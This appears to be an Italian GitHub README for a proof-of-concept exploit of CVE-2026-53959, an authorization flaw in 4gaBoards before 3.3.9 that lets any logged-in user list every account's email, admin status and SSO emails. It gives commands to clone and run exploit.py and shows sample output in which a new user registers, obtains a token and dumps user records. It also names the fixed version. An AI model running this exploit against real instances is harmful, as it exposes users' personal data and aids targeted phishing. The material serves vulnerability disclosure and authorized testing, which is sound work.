anirbala98/cve-2026-539594gaBoards < 3.3.9 - Divulgazione di informazioni utente
Questa repository contiene un exploit Proof of Concept (PoC) per CVE-2026-53959
Questo progetto è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. Non utilizzarlo contro sistemi che non possiedi o per cui non hai il permesso di testare.
4gaBoards è un sistema di bacheche per la gestione di progetti in tempo reale. Prima della versione 3.3.9, 4gaBoards consente a qualsiasi utente autenticato di enumerare le informazioni dell'account di ogni utente tramite GET /api/users e di recuperare account arbitrari tramite GET /api/users/:id. Le azioni users/index e users/show si basano esclusivamente sulla policy predefinita is-authenticated in server/config/policies.js, e server/api/controllers/users/index.js restituisce il risultato di sails.helpers.users.getMany() senza autorizzazione specifica del richiedente o sanificazione della risposta. Le risposte espongono email, telefono, organizzazione, nome, isAdmin, ssoGoogleEmail, ssoGithubEmail e altri campi email collegati a SSO, inclusi i dati degli amministratori. Questo consente l'enumerazione degli utenti a livello di istanza, la perdita della privacy e attività di ricognizione mirata per phishing. Il problema è risolto nella versione 3.3.9.
| Componente | Versione |
|---|---|
| Vulnerabile | <=3.3.8 |
| Corretta | 3.3.9 |
git clone https://github.com/anirbala98/CVE-2026-53959.git
cd CVE-2026-53959/
pip install -r requirements.txt
python exploit.py <base_url>
python exploit.py http://localhost:3000
└─$ python exploit.py http://localhost:3000
[*] Creating a new user...
[+] Registration successful!
[+] Retrieved Access Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjRjOTE1NzNmLTY5YzktNGQ5OS04ZWUxLWQ1ODZjNzZkNzAyZiJ9.eyJpYXQiOjE3ODcxMjExNzUsInN1YiI6IjE4NDQ5MDI5OTc5OTQyNDMzNTAiLCJleHAiOjE4MTg2NTcxNzV9.OwNTyxE-JS0pztbX4sLz0uzu3GjeyETNFQVbGVxzXxA
[*] Dumping user information...
{"items":[{"id":"1844837973439284230","createdAt":"2026-08-19T04:23:44.000Z","updatedAt":null,"email":"[email protected]","isAdmin":true,"isVerified":false,"name":"Demo Demo","username":"demo","phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":"2026-08-19T06:29:23.463Z","lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844837973439284230","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null},{"id":"1844902997994243350","createdAt":"2026-08-19T06:32:55.000Z","updatedAt":null,"email":"[email protected]","isAdmin":false,"isVerified":false,"name":"test","username":null,"phone":null,"organization":null,"ssoGoogleEmail":null,"ssoGithubUsername":null,"ssoGithubEmail":null,"ssoMicrosoftEmail":null,"ssoOidcEmail":null,"lastLogin":null,"lastEmailVerificationRequestAt":null,"deletedAt":null,"createdById":"1844902997994243350","updatedById":null,"deletedById":null,"isPasswordAuthenticated":true,"avatarUrl":null}]}
Aggiorna 4gaBoards alla versione 3.3.9 o successiva.